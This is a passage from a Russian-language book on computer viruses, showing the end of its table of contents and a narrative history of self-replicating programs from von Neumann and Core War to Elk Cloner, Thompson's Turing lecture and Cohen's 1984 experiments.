      6.5.1. Вирус RC-0-346 (Lehigh - Лехайский)
      6.5.2. Вирус dBASE
      6.5.3. Screen Virus - "экранный" вирус
      6.5.4. Группа первоапрельских вирусов
         6.5.4.1. Вирус RC-897
         6.5.4.2. Вирус RE-1488 (SURIV 2 - Сурив 2,
      6.5.5. Группа Datacrime (Дейтакрайм)
         6.5.5.1. Вирус E-1168 (Datacrime B - Дейтакрайм B, 1168,
                  Columbus Day - День Колумба)
         6.5.5.2. Вирус E-1280 (Datacrime B - Дейтакрайм B, 1280,
                  Columbus Day - День Колумба)
         6.5.5.3. Вирус СE-1514
         6.5.5.4. Вирус СE-1917 (Datacrime IIB - Дейтакрайм IIB, 1917,
                  Columbus Day - День Колумба)
   6.6. Мифические файловые вирусы
      6.6.1. Вирус Cookie, Cookie Monster - Печенье
      6.6.2. Вирус, заражающий объектные библиотеки
      6.6.3. Вирус "падающие головки винчестера"
      6.6.4. Вирус в сетевом драйвере
      6.6.5. Сетевой вирус RCE-2231
      6.6.6. Вирусы, поражающие скрытые системные файлы

7. КАТАЛОГ БУТОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В СССP
   7.1. Итальянская группа
      7.1.1. Вирус Bx1-1C (Ping-Pong - Пинг-понг; Italian Bouncing -
             Итальянский попрыгунчик)
      7.1.2. Штамм Bx1-1C-b (Ping-Pong modified by Yankee Doodle - Пинг-
             понг, модифицированный вирусом Янки Дудль)
      7.1.3. Штамм Bx1-1C-с (Hacked Ping-Pong - Искромсанный пинг-понг)
      7.1.4. Штамм Bx1-1C-d (Double Ping-pong - двойной пинг-понг)
   7.2. Пакистанская группа
      7.2.1. Вирус Dx3-E9 (Сингапурский вариант Душманских мозгов)
      7.2.2. Вирус Dx3-E9 (Оригинальная версия BRAIN; Pakistani virus -
             Пакистанский вирус; Brain-86 - Душманские Мозги-86)
      7.2.3. Штамм Dx3-E9 (Ashar - Ашар)
   7.3. Южнозеландская группа
      7.3.1. Вирус M-05 (Stoned - "Забалдевший")
      7.3.2. Штамм "Stone Rostov"
      7.3.3. Вирус "PrintScreen"
   7.4. Вирус Bx3-EB (Disk Killer - Диск-киллер)
   7.5. Вирус D-29 (Den-Zuk - Ден-Зук)
   7.6. Индийская группа
      7.6.1. Вирус WM-1F (Joshi - Джоши)

8. БУТОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ
   8.1. Смешанные бутово-файловые вирусы
      8.1.1. Вирус C-2351 (Ghostballs - Мячик призрака)
      8.1.2. Вирус RCE-2560 (Virus-101)
      8.1.3. Вирус RC-1253 (AntiCad, V-1)
      8.1.4. Вирус RCE-1040 (Anthrax)
   8.2. Бутовые вирусы восточного происхождения
      8.2.1. Вирус Microbes
      8.2.2. Вирус AirCop
      8.2.3. Вирус Korea
      8.2.4. Вирус Ohio
   8.3. Ископаемые бутовые вирусы
      8.3.1. Вирус Alameda (Аламеда)
      8.3.2. Вирус Chaos (Хаос)
   8.4. Мифические бутовые вирусы
      8.4.1. Вирус Bxxx (Boot Killer - бут-киллер)

9. НЕКОТОРЫЕ СЕТЕВЫЕ ВИРУСЫ
   9.1. Вирус Christmas Tree  (Рождественская елка)
   9.2. Вирус Морриса
   9.3. Вирусы в локальных сетях
      9.3.1. Вирус 1260

10. ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ ЗАЩИТЫ ОТ ВИРУСОВ
   10.1. Классификация cредств защиты от вирусов
   10.2. Основная технологическая схема защиты
      10.2.1. Организация входного контроля нового программного
              обеспечения
         10.2.1.1. Понятия достоверной дистрибутивной копии и
                   сертификата
         10.2.1.2. Контроль текстовых строк, содержащихся в файле
         10.2.1.3. Использование отладчиков и дизассемблеров
      10.2.2. Карантинный режим
         10.2.2.1. Троянские компоненты в незаконно распространяемых
                   копиях программ и программах со "сломанной" защитой
         10.2.2.2. Троянские компоненты в антивирусных программах
         10.2.2.3. После покупки компьютера проверяйте содержимое
                   винчестера
      10.2.3. Сегментация информации на винчестере
      10.2.4. Защита операционной системы от заражения
         10.2.4.1. Стратегия защиты командного процессора
         10.2.4.2. Использование каталога BAT-файлов
   10.3. Архивирование
      10.3.1. Используйте программы резервирования FAT и главного
              каталога в AUTOEXEC.BAT
      10.3.2. Используйте систему "неделя-месяц-год"
      10.3.3. В защиту "бумажной технологии"
      10.3.4. Запомните параметры, хранящиеся в СMOS-памяти, пока еще не
              поздно
      10.3.5. Переписывая программы, различайте эталонную и рабочую
              копию
   10.4. Методика применения средств защиты
      10.4.1. Типичные ошибки
      10.4.2. Методика применения детекторов
         10.4.2.1. Использование Norton Utilities и PCTools как
                   универсальных детекторов вирусов
         10.4.2.2. Поиск текстовых сигнатур
      10.4.3. Методика применения фагов
      10.4.4. Методика использования резидентных сторожей
      10.4.5. Методика использования ревизоров
      10.4.6. Вакцинирование
      10.4.7. Критерии оценки качества антивирусных программ
         10.4.7.1. Критерии оценки качества детекторов
         10.4.7.2. Сравнительный анализ полифагов
         10.4.7.3. Критерии оценки и сравнительный анализ ревизоров
         10.4.7.4. Сравнительный анализ вакцин
         10.4.7.5. Критерии оценки сторожей
      10.4.8. О первом конкурсе антивирусных программ, распространяемых
              бесплатно
         10.4.8.1. Оценки и рекомендации жюри по полифагам
            10.4.8.1.1.  A I D S T E S T
            10.4.8.1.2.  D O C T O R
         10.4.8.2. Оценки и рекомендации жюри по детекторам и ревизорам
            10.4.8.2.1.  D L I
            10.4.8.2.2.  V L
         10.4.8.3. Оценки и рекомендации жюри по сторожам и вакцинам
            10.4.8.3.1.  S B M  и  C H E C K 2 1
   10.5. Отдельные приемы защиты
      10.5.1. Регулярно оптимизируйте винчестер
      10.5.2. Прятать новые версии антивирусных программ просто
              невыгодно
      10.5.3. Нормальное состояние дискеты - защищенное от записи
      10.5.4. Как работать на зараженном файловым вирусом компьютере при
              отсутствии вакцины
      10.5.5. При хранении антивирусных программ на винчестере
              используйте архивирование
      10.5.6. Использование макетов программ типа DUMYxxxx для
              определения место нахождения спрятанных байтов
   10.6. Методика восстановления информации
      10.6.1. Создайте и отработайте план восстановления винчестера !
      10.6.2. Если что-то случилось - избегайте поспешных действий
      10.6.3. Советы по восстановлению информации
   10.7. Некоторые организационные меры защиты
   10.8. Юридические методы защиты от компьютерных вирусов
      10.8.1. Некоторые судебные процессы над кракерами и разработчиками
              вирусов

11. ЗАКЛЮЧЕНИЕ

ЛИТЕРАТУРА

ПРИЛОЖЕНИЕ 1. Классификационная таблица файловых вирусов, обнаруженных в
  CCCР
ПРИЛОЖЕНИЕ 2. Классификационная таблица бутовых вирусов, обнаруженных в
  CCCР
ПРИЛОЖЕНИЕ 3. Классификационная таблица файловых вирусов, известных
  только по литературе
ПРИЛОЖЕНИЕ 4. Классификационная таблица бутовых вирусов, известных
  только по литературе
ПРИЛОЖЕНИЕ 5. Перечень отечественных антивирусных средств, помещенных в
  выпусках электронного бюллетеня СОФТПАНОРАМА
ПРИЛОЖЕНИЕ 6. Некоторые сведения о файловой системе MS DOS
ПРИЛОЖЕНИЕ 7. Исполняемые файлы и связанные с ними системные блоки
ПРИЛОЖЕНИЕ 8. Прерывания MS DOS
ПРИЛОЖЕНИЕ 9. Наиболее часто используемые функции MS DOS

               1. ОЧЕРК ИСТОРИИ КОМПЬЮТЕРНЫХ ВИРУСОВ

                         1.1. Предыстория

                                           "Vestigia semper adora"
                                            (Всегда уважай следы)
                                            Стаций (40-50 до н.э.)

  Компьютерные вирусы  являются одной из разновидностей компьютер-
ного вандализма,  получившего распространение в конце 80-х гг. Ис-
торически их  возникновение связано с идеей создания самовоспроиз-
водящихся программ --  концепции, уходящей своими корнями в пятиде-
сятые годы.  Идея самовоспроизводящихся  механизмов  исследовалась
еще Джоном  фон Нейманом, который в 1951 г. предложил метод созда-
ния таких механизмов. Несомненно, идея вирусоподобных программ не-
однократно открывалась  и переоткрывалась различными авторами. Тем
не менее, восстановление приоритета исследователей в опубликовании
той или  иной грани  концепции вирусоподобных  программ является в
какой-то мере  актом восстановления  справедливости по отношению к
тем, чьи работы были незаслуженно забыты или вообще проигнорирова-
ны. Это  касается прежде  всего европейских  исследователей, вклад
которых в разработку различных проблем системного программирования
часто игнорируется или замалчивается в американских публикациях.
  Первой публикацией, связанной с рассматриваемой концепцией, мож-
но считать  статью Л.С.Пенроуза  (L.S.Penrose) о самовоспроизводя-
щихся  механических   структурах  [Penrose59],   опубликованную  в
1959 г.  американским   журналом  "Scientific  American".  В  этой
статье, наряду  с примерами  чисто механических  конструкций, была
приведена некая  двумерная модель  подобных структур,  способных к
активации,  захвату  и  освобождению.  Под  влиянием  этой  статьи
Ф.Ж.Шталь (F.G.Stahl)  запрограммировал на  машинном языке ЭВМ IBM
650 биокибернетическую модель, в которой существа двигались, пита-
ясь ненулевыми  словами [Dewdney85].  При N передвижениях без пищи
существо умирало от голода, а после съедания определенного количе-
ства слов порождало новое. При размножении была предусмотрена воз-
можность мутаций,  в ходе  которых существа могли приобретать спо-
собность пожирать  себе подобных  и терять возможность к размноже-
нию. Однако ограниченная память и быстродействие IBM 650 послужили
препятствием для получения интересных результатов: в ходе пробного
прогона один  бесплодный мутант убил и съел единственного, способ-
ного к размножению.

                    1.1.1. Первые эксперименты

  В   1962 г.    В.А.Высотский    (V.А.Vyssotsky),    Х.Д.Макилрой
(H.D.McIlroy)  и  Роберт  Моррис  (Robert  Morris)  --  фирма  Bell
Telephone Laboratories,  США --  изобрели достаточно необычную игру
"Дарвин", в  которой несколько  ассемблерных  программ,  названных
"организмами", загружались в память компьютера. Организмы, создан-
ные одним  игроком (т.е. принадлежащие к одному виду), должны были
уничтожать представителей  другого вида  и  захватывать  жизненное
пространство. Победителем считался тот игрок, чьи организмы захва-
тывали всю  память или  набирали наибольшее количество очков. Игра
проходит на  большом участке памяти, называемом ареной и управляе-
мом специальной  программой --  супервизором. Вид V состоит из N(V)
особей. Каждая  особь (K=1..N(V))  имеет размер  S(K)  (K=1..N(V),
S(K) <  MAXS) и расположена в R(K) последовательных ячейках, начи-
ная   с   головы   G(K),   причем   R(V)   точек   со   смещениями
P(K,1)..P(K,R(V)) относительно  головы являются защищенными. Орга-
низм, который получает управление, может использовать три вида об-
ращения к супервизору:
  PROBE(n,loc) -- запрос  о содержании  ячейки с  адресом loc (если
эта ячейка защищена, то управление передается ее обладателю, а ес-
ли нет, то возвращаются три числа -- <номер вида организма, занима-
ющего ячейку>  (ноль, если  ячейка свободна),  <начало> и  <конец>
(если ячейка свободна, то начало и конец свободного участка арены,
в который она входит; нули, если ячейка занята организмом));
  KILL(loc) -- уничтожить  организм по  адресу loc (loc должна при-
надлежать организму другого вида и должна быть предварительно исс-
ледована PROBE любым организмом того же вида, что и нападающий);
  CLAIM(n,loc) -- размножить  организм на  участок свободного  про-
странства, включающий  loc (ячейка  loc должна быть предварительно
исследована с помощью PROBE и не менее S(K) ячеек должно быть сво-
бодно, возможно, в результате предыдущего KILL).
  "Игра  для  полуночников",  возникшая  в  фирме  Bell  Telephone
Laboratories, быстро  приобрела популярность  и в других учебных и
исследовательских центрах,  например в   исследовательском  центре
фирмы Ксерокс в Пало Альто и в Массачусетском институте технологии
(МИТ). Отметим, что долгое время описание игры существовало только
"в устном  фольклоре": статья  с описанием  игры была опубликована
только в 1972 г. [SP&E72], причем в ее тексте использовался термин
"вирус" применительно к одному из видов организмов.
  Приблизительно в  1970 г. была  создана саморазмножающаяся  про-
грамма для одной из первых компьютерных сетей -- APRAnet. Программа
CREEPER, которая  по некоторым  данным была написана Бобом Томасом
(Bob Thomas)  из BBN, путешествовала по сети, обнаруживая свое по-
явление сообщением

           "I'M THE CREEPER ... CATCH ME IF YOU CAN"
          ("Я КРИПЕР ... ПОЙМАЙ МЕНЯ, ЕСЛИ СМОЖЕШЬ").

  Для борьбы  с ней  была создана  программа REAPER, которая также
путешествовала  по  сети  и  уничтожала  встретившиеся  экземпляры
CREEPER. Эта  идея, представляющая собой вариацию подхода, распро-
страненного в среде знахарей, -- "подобное лечится подобным", позд-
нее неоднократно  использовалась и  в других  программах борьбы  с
ранними вирусами, однако в целом оказалась неудачной.
  В 1974 г.  была написана программа RABBIT (Кролик), которая раз-
множалась на  трех соединенных между собой машинах IBM, причем по-
явление новых подзадач вызывало замедление реакции, а затем и пол-
ное зависание машин.
  Другим примером  вирусоподобных программ была игра Animal (Живо-
тное), разработанная примерно в 1975 г. для UNIVAC 1108. Суть этой
игры состояла  в том,  что человек задумывал некоторое животное, и
программа, задавая  вопросы, пыталась  определить, какое  животное
загадал человек.  Программист, написавший игру, предусмотрел в ней
возможность саморазмножения.  Когда программа угадывала неправиль-
но, она  просила пользователя  предложить вопрос, который позволил
бы улучшить ее способности к отгадыванию данного животного. Запом-
нив этот вопрос, программа не только модифицировала себя, но и пы-
талась переписать свою обновленную (улучшенную) копию в другой ка-
талог. Если  там уже  была программа  Animal, то  она стиралась. В
противном случае создавалась новая копия. Оказалось, что через не-
которое  время  все  каталоги  файловой  системы  содержали  копию
Animal. Более  того, если пользователь переходил с машины на маши-
ну, то он переносил и свой каталог, и в результате во всех катало-
гах этой  ЭВМ также появлялась Animal. При этом совокупность копий
Animal занимала  значительное файловое пространство, что в те вре-
мена воспринималось  как проблема.  В соответствии  с  фольклорной
версией решения проблемы,  опубликованной в [Dewdney85], была раз-
работана новая, более "инфицирующая" модификация игры, которая ко-
пировала себя не один раз, а дважды, тем самым быстро вытесняя со-
бой старую  версию. По  истечении заданного  срока она  предлагала
пользователю сыграть  последний раз,  а затем  сама стирала себя с
диска. В действительности, борьба проходила на уровне операционной
системы: в  версии 33 операционной системы Exec 8 для этой ЭВМ был
изменен формат таблицы файлов, и игра потеряла возможность размно-
жаться.

            1.1.2. Романы Бруннера, Гибсона и расцвет
        "околовирусного" направления в научной фантастике

  В вышедшем в 1975 г. научно-фантастическом романе "The Shockware
Rider" Джон  Бруннер (John  Brunner) [Brunner75] описал "червей" --
программы, распространяющиеся  по сети.  Эта идея  в  определенной
степени предвосхитила  последующие события (см. ниже сетевой вирус
Морриса), хотя  ее осуществление находилось за пределами возможно-
стей компьютеров того времени. Данная книга оказалась в числе бес-
тселлеров и безусловно повлияла на ход дальнейших событий.
  В 1977 г.  издательством Collier  Books был опубликован еще один
научно-фантастический роман -- "The Adolescence of P-1" ("Юность П-
1") [Ryan77],  разрабатывавший ту  же тему.  Его автор, Томас Риан
(Thomas J.  Ryan), создал образ достаточно жуткого "разумного" ви-
руса, занимающегося сбором информации.
  Забегая вперед  отметим, что в 1984 г. В.Гибсон (W.Gibson) опуб-
ликовал  научно-фантастический  роман  "Neuromancer"  [Gibson84] --
второй после  Бруннера бестселлер, в котором фигурируют компьютер-
ные вирусы.  Этот роман  также можно рассматривать как катализатор
реальных событий.  В частности, в нем впервые было введено понятие
"киберпространства". Этим  словом названа  глобальная компьютерная
коммуникационная сеть,  в которой ввод и вывод осуществляется не с
помощью клавиатуры  и дисплея, а с помощью "согласованных галлюци-
наций". Несмотря на фантастичность идеи, оказалось, что "улица на-
ходит свое  применение любым вещам". В настоящее время под киберп-
ространством понимается система, в которой у пользователя создает-
ся трехмерное  восприятие объектов  некоего искусственного  мира и
иллюзия того, что он находится внутри соответствующего искусствен-
ного пространства, а не просто наблюдает его изображение на экране
дисплея. Если видеоигры -- это фильмы с участием игрока, то киберп-
ространство -- это  парк аттракционов,  где можно испытать все, что
только можно вообразить. В настоящее время фирма Autodesk осущест-
вляет проект  Cyberspace,   в рамках  которого разработан ряд уст-
ройств для  создания киберпространства [Уолсер90]. К ним относятся
специальный шлем  (со встроенным  дисплеем и датчиками перемещения
головы), а  также специальные  перчатки PowerGlove фирмы Nintendo,
которые позволяют оцифровывать и вводить любые перемещения пальцев
руки. Недалек  тот день, когда участники международного коллектива
разработчиков смогут  собираться в виртуальном конференц-зале, де-
монстрируя друг  другу различные проектные решения, обсуждая и тут
же внося  изменения. При  этом каждый участник будет видеть вирту-
альные тела других участников, сможет подходить к ним и разговари-
вать, хотя  к сожалению,  при встрече  со знакомой девушкой нельзя
будет ее обнять. Но это все в будущем. А сейчас вернемся к истории
компьютерных вирусов.
  Упомянутые выше романы положили начало литературному направлению
"околовирусного" толка, в котором концепция вирусов разрабатывает-
ся с различных точек зрения. В частности, сюжет французского "шпи-
онского" детектива  "Softwar:  la  guerre  douce"  Терри  Брентона
(Thierry Brenton) и Дениса Бенеша (Denis Beneich), опубликованного
в 1985 г.  [Brenton85], основан  на продаже СССР американского су-
перкомпьютера  для  метеорологической  сети.  Вместо  блокирования
сделки американская  администрация, демонстрируя напускное нежела-
ние продать компьютер, санкционирует его доставку  в СССР. В то же
время в  системное программное  обеспечение  компьютера  заносится
"логическая бомба".  При определенных  условиях она "взрывается" и
уничтожает все программное обеспечение в советской сети. В той ме-
ре, в  которой этот сюжет представляет собой реальную возможность,
это самая настоящая война программ с агентом-подрывником в качест-
ве действующего  лица. Поскольку  метеорологическая сеть  так  или
иначе связана  с авиационными и ракетными системами, роман застав-
ляет нас  задуматься. Этот поток научно-фантастической литературы,
посвященной вирусам, безусловно сыграл определенную роль в популя-
ризации идеи  и привлечении  к ней  внимания студенческой молодежи
(см. ниже).  Из последних  романов этого направления следует отме-
тить второй  роман В.Гибсона  "Mona Lisa  Overdrive",  вышедший  в
1988 г. [Gibson88].

            1.1.3. Apple II и BBS создают условия для
           распространения троянских программ и вирусов

  Весной 1977 г.  появился первый персональный компьютер Apple II.
Эта модель  находилась в производстве с 20 апреля 1977 г. по 1 ав-
густа 1983 г.   Общее количество проданных машин составило более 3
млн. шт.,  что на  порядок превышало  количество ЭВМ других серий.
Поэтому для  этих машин появились объективные возможности создания
реальных компьютерных вирусов, и эти возможности очень быстро были
осознаны и  реализованы. Неудивительно, что Apple II послужил "ра-
бочей лошадкой"  для разработчиков  "доисторических"  компьютерных
вирусов.
  Параллельно с  массовой продажей компьютеров Apple, в конце 70-х
годов на  Западе отмечается бурное развитие сетей для передачи ин-
формации на  базе обычных  телефонных каналов.  Появляются  первые
банки свободно  распространяемых программ и данных -- BBS (Bulletin
Board System --  буквально "доска объявлений" для программ). В этот
банк любой  программист мог загрузить (download) свою программу, и
любой пользователь мог ее считать и запустить на своем компьютере.
Это существенно  увеличило и  ускорило трафик  программ, тем более
что многие университетские компьютерные центры (традиционно являю-
щиеся центрами разработки различного рода бесплатных программ) ор-
ганизовали свои BBS. Позднее появились и большие онлайновые инфор-
мационные системы,  такие как CompuServe, которые охватывали прак-
тически все  западные страны. С появлением BBS получил распростра-
нение и  новый вид  компьютерного хулиганства: загрузка в нее про-
граммы, выводящей какие-то привлекательные картинки или претендую-
щей на выполнение какой-либо полезной функции, которая сразу после
запуска ("чистая" программа-вандал) или через некоторое время, или
при выполнении  некоторого  условия  (троянская  программа-вандал)
уничтожала данные  на компьютере пользователя, переписавшего и за-
пустившего ее  на своем  компьютере. Такие программы-вандалы можно
рассматривать как  исторических предшественников вирусов-вандалов,
тем более что их разрабатывает по сути один и тот тип  личностей.
  В 1980 г.  появилась первая  и весьма примечательная европейская
публикация по  компьютерным вирусам --  "Самовоспроизводящиеся про-
граммы" Й.Крауса.  Ее автор  -- сотрудник  кафедры информатики  До-
ртмундского университета -- не только дал достаточно точное опреде-
ление компьютерных  вирусов, но  и привел  в своей работе листинги
компьютерных вирусов (на языке ассемблера фирмы Сименс -- клона из-
вестной системы  360 фирмы  IBM). К  сожалению, данная  публикация
представляла собой  препринт Дортмундского университета и широкого
распространения не  получила. По  мнению Р.Бургера,  автора первой
книги по  компьютерным вирусам,  опубликованной впервые  в 1987 г.
издательством DATA BECKER GmbH [Burger88], уровень этой работы су-
щественно превосходит уровень исследований Ф.Коэна (см. ниже), по-
этому обидно,  что она практически забыта и не цитируется в совре-
менных исследованиях по компьютерным вирусам.
  В 1981-82 гг.  появился первый, получивший некоторое распростра-
нение, бутовый  вирус на ПЭВМ Apple II. Этот вирус, получивший на-
звание ELK CLONER, обнаруживал свое присутствие сообщением, содер-
жавшим даже небольшое стихотворение:

  ELK CLONER:
  THE PROGRAM WITH A PERSONALITY
  IT WILL GET ON ALL YOUR DISKS
  IT WILL INFILTRATE YOUR CHIPS
  YES, IT'S CLONER
  IT WILL STICK TO YOU LIKE GLUE
  IT WILL MODIFY RAM, TOO
  SEND IN THE CLONER!

  Поскольку винчестеров тогда еще не было, борьба с ним состояла в
использовании защитных наклеек на дискетах.
  Другой вирус  для Apple II был создан в 1982 г. студентом Техас-
ского университета.  Он был  рассчитан на операционную систему DOS
3.3 для этой ПЭВМ (не путать с более поздней операционной системой
MS DOS 3.3 для ПЭВМ, совместимых с IBM PC). Не до конца отлаженная
версия этого  вируса "ускользнула"  от автора и начала распростра-
няться по университету. Ошибка в вирусе вызывала подавление графи-
ки популярной игры под названием CONGO, и в течение нескольких не-
дель все ("пиратские") копии этой игры перестали работать. Для ис-
правления ситуации автор запустил новый, исправленный вирус, пред-
назначенный для  "замещения" предыдущей версии. Как мы видим, идея
"подобное лечится  подобным" открывалась  и переоткрывалась много-
кратно.

          1.1.4. Первые эксперименты с сетевыми вирусами

  В октябре  1980 г. в  сети APRANET была обнаружена программа, по
некоторым описаниям  вызывавшая "перепутывание" адресов посылаемых
по сети сообщений, что вызывало появление множества сообщений "не-
верный статус  пользователя". В результате систему пришлось выклю-
чить, и она была восстановлена только через три дня.
  В 1982 г. не без влияния упоминавшегося выше романа Бруннера со-
трудниками исследовательского  центра фирмы  XEROX  в  Пало  Альто
("родине Смолтока")  была создана  программа-червь и  проведен ряд
экспериментов, результаты которых опубликованы в ведущем американ-
ском компьютерном  журнале [Shoch82]. Идея, которой руководствова-
лись авторы  программы, состояла  в том,  что программа, требующая
значительных вычислительных мощностей, захватывала все простаиваю-
щие, но  подключенные к сети ЭВМ, с тем, чтобы например, ночью ис-
пользовать максимум  подключенных вычислительных  мощностей, а ут-
ром, когда  пользователи начинают выполнять свои вычисления, осво-
бождать их,  сохраняя промежуточные  результаты  вычислений.  Днем
программа "перебивалась"  бы одной -- двумя машинами, а ночью опять
захватывала бы  все свободные  вычислительные мощности.  В связи с
этой способностью  к ночному  распространению такую программу пра-
вильнее было  бы назвать  не червяком,  а вампиром. При проведении
эксперимента по запуску червяка в сеть наблюдалось его неконтроли-
руемое распространение  и зависание  части зараженных червяком ма-
шин. Поскольку эксперимент проводился на локальной сети Ethernet и
некоторые комнаты с включенными машинами следующим утром оказались
закрытыми, копии  червя в  этих машинах  заражали другие машины. К

счастью, авторы  предусмотрели такую возможность и послали по сети
команду самоуничтожения всем копиям червяка.

            1.1.5. Тьюринговская лекция Кена Томпсона

  В 1983 г.  Кену Томпсону (Ken Thompson) -- создателю всемирно из-
вестной операционной  системы UNIX, была присуждена самая престиж-
ная в  мире программирования премия -- премия имени Тьюринга Амери-
канской ассоциации компьютерной техники (Association for computing
machinery) -- самой  старой и  наиболее массовой организации амери-
канских программистов.  Свою  замечательную  тьюринговскую  лекцию
(читаемую каждым лауреатом на ежегодном съезде общества) Кен Томп-
сон посвятил не истории создания системы UNIX, а проблеме внесения
тонких ошибок в код компилятора, которые невозможно обнаружить пу-
тем анализа  исходного текста  последнего [Thompson84].  Хотя в то
время данная тема казалась чем-то незначительным, Томпсон затронул
важную проблему, ставшую актуальной только с появлением компьютер-
ных вирусов.  В своем заключении -- оказавшемся в значительной мере
пророческим -- он в частности сказал:
    "Нельзя доверять программам, написанным не вами самими т Ника-
кой объем  верификации исходного  текста и исследований не защитит
вас от  использования ненадежного  (untrusted) кода.  По мере того
как уровень языка, на котором написана программа, снижается, нахо-
дить эти  ошибки становится  все труднее и труднее. "Хорошо проду-
манную" (well  installed) ошибку в микрокоде найти почти невозмож-
но.
  Я хотел  бы подвергнуть  критике прессу за ее освещение проблемы
хакеров, банды  414, банды  Дальтона (Dalton gang) и т.д. Действия
этих ребят  представляют собой в лучшем случае вандализм, а в худ-
шем --  возможно, правонарушение и воровство. Только несовершенство
уголовного законодательства спасает хакеров от очень серьезных на-
казаний. Компании,  которые могут пострадать от этой активности (а
большинство крупных компаний являются очень уязвимыми в этом отно-
шении), предпринимают  значительные усилия  с тем,  чтобы добиться
изменения уголовного  законодательства. Несанкционированный доступ
к компьютерным системам уже является серьезным преступлением в ря-
де штатов, и соответствующие законы в настоящее время рассматрива-
ются во многих других штатах и в Конгрессе.
  Надвигается взрывоопасная ситуация. С одной стороны, пресса, те-
левидение и фильмы делают героев из этих вандалов, называя их вун-
деркиндами (whiz  kids). С другой стороны, действия этих ребят бу-
дут скоро наказываться годами тюрьмы.
  Я видел,  как эти ребята давали показания Конгрессу. Было совер-
шенно ясно, что они не отдают себе отчета в серьезности своих дей-
ствий. Это,  возможно, связано  с различиями  в культурном  уровне
(cultural gap). Проникновение в компьютерные системы должно накла-
дывать на  человека такое  же клеймо,  как проникновение  в  чужую
квартиру. И не имеет никакого значения, что дверь соседа оказалась
незапертой. Пресса  должна понять, что неверное использование ком-
пьютера ничем  не лучше управления автомобилем в нетрезвом состоя-
нии" (перевод Н.Н.Безрукова).

             1.1.6. Игра "Бой в памяти", работы Коэна
                     и другие события 1984 г.

  1984 г. оказался  переломным в  истории компьютерных вирусов -- в
течение года  произошло несколько событий "исторического значения"
с точки зрения компьютерных вирусов.
  В  мае   1984 г.  в  журнале  "Scientific  American"  А.К.Дьюдни
(A.K.Dewdney) --   автором    колонки   "Занимательный   компьютер"
(Computer Recreations)  был опубликован  упрощенный  вариант  игры
Darvin, названный  "Core War"  ("Бой в  памяти") [Dewdney84]. Игра
вызвала значительный читательский интерес, и впоследствии было да-
же организовано  международное  общество  International  Core  War
Society cо штаб-квартирой в США и филиалами в Италии, Польше, ФРГ,
Японии и  СССР (152140  Переславль-Залесский 5,  а/я  10,  Лилитко
Е.П.) [Лилитко89].  В данной  игре два  игрока пишут по одной про-
грамме каждый на языке низкого уровня REDCODE. Программы помещают-
ся в  большой циклически  замкнутый участок памяти. Каждая команда
занимает одну  ячейку памяти. Управляющая программа поочередно ис-
полняет одну  команду каждой программы, подобно простейшей системе
реального времени.  Программы атакуют  друг друга  и в то же время
пытаются избежать повреждений и восстанавливать поврежденные обла-
сти. Простейшая  атака состоит  в использовании команды MOV (запи-
сать в память). Например: MOV #0,1000 может "убить наповал" враже-
скую программу, если попадет в следующую исполняемую команду (т.е.
если следующая  выполняемая команда  "врага" расположена по адресу
1000) или  "ранить", если  это данные или исполняемые команды, или
наконец, "попасть  мимо", если  ячейка 1000  противной стороной не
используется.
  Два итальянских  программиста Р.Черути (Roberto Cerutti) и М.Мо-
рокути (Marco  Morocutti), основываясь  на идеях  игры, попытались
создать программу, обладающую свойством саморазмножения в реальных
условиях, на  Apple II, получившей к этому времени распространение
во всем мире (впрочем, наша страна, как и некоторые другие находи-
лась в  стороне от  этого процесса).  Apple II  имел дисковод  для
гибких дисков, и итальянцам удалось нащупать основную идею бутово-
го вируса --  перехват прерывания  по  чтению  и  заражение  каждой
вставляемой в ЭВМ дискеты. Они также сообразили, что будучи реали-
зованной, программа вызвала бы миниэпидемию в масштабах их родного
города Брешиа. Более того, поняв, что указанная программа является
компьютерным вирусом,  они по  аналогии с  естественными  вирусами
пришли к  идее о  том, что компьютерный вирус может наносить вред.
Для этой  цели они предложили встроить счетчик в бутсектор и через
каждые 16  размножений (это, по сути, первое упоминание идеи счет-
чика в  бутсекторе -- идеи,  которая будет открываться и переоткры-
ваться многими  разработчиками вирусов для IBM PC) запускать пере-
форматирование дискеты.  Однако они  во-время ужаснулись возможным
последствиям и отказались от реализации практически полностью спе-
цифицированной программы.  Тем не  менее, они имели неосторожность
изложить  свои   идеи  достаточно   подробно  в  письме  в  журнал
"Scientific American",  а А.К.Дьюдни в апрельском (за 1985 г.) об-
зоре писем  читателей по  поводу игры  "Бой в  памяти" [Dewdney85]
опубликовал их  письмо. Последнее  можно рассматривать  как первую
достаточно полную  опубликованную  спецификацию  бутового  вируса.
Рассматриваемая публикация  несколько   ускорила последующие собы-
тия, хотя  сам их  ход был  уже  предопределен.  Поскольку  журнал
"Scientific American"  относится к  наиболее читаемым научно-попу-
лярным журналам как в США, так и в других западных странах, письмо
Р.Черути и  М.Морокути было  замечено, и попытки повторения не за-
ставили себя  долго ждать.  Так, вирус, реализованный по опублико-
ванному описанию  Р.Скрентой-младшим из  Питсбурга  (США),  быстро
распространился по  дискетам его  знакомых и  преподавателей.  Для
борьбы с ним был написан антивирус, однако он оказался не в состо-
янии предотвратить дальнейшее распространение вируса.
  В сентябре 1984 г. была опубликована статья Ф.Коэна (Fred Cohen)
[Cohen84], в  которой автор исследовал разновидность файлового ви-
руса. Это  фактически второе  академическое исследование  проблемы
вирусов. Работа  содержала полезное,  хотя и  недостаточно строгое
формальное определение  вируса и  ряд важных соображений о большой
потенциальной опасности компьютерных вирусов, а также относительно
того, что  для своего размножения вирусу достаточно обычных опера-
ций, реализуемых  файловой системой  любой ОС.  Ф.Коэн описал  ряд
экспериментов, проделанных 3.11.83 г. на системе VAX 11/750, рабо-
тающей под  управлением ОС  UNIX. Вирус был имплантирован в начало
утилиты VD,  которая позволяла графически отображать структуру ка-
талогов диска. Поскольку VD была новой программой, о ее характери-
стиках пользователи  представления не  имели. В ходе пяти экспери-
ментов пользователю  зараженной программы  в течение определенного
времени (от 5 до 30 мин.) предоставлялся статус суперпользователя.
Эксперимент показал достаточно высокую скорость размножения вируса
(1/2 с. на  заражение) и  большое количество зараженных файлов. По
материалам этой  статьи в 1984 г. появилась статья в журнале "Шпи-
гель" под  названием "Тайная  инструкция" [Spiegel84], которая вы-
звала оживленную дискуссию в ФРГ. В дискуссии принял участие и сам
Ф.Коэн. Уже  тогда обсуждались вопросы о целесообразности публика-
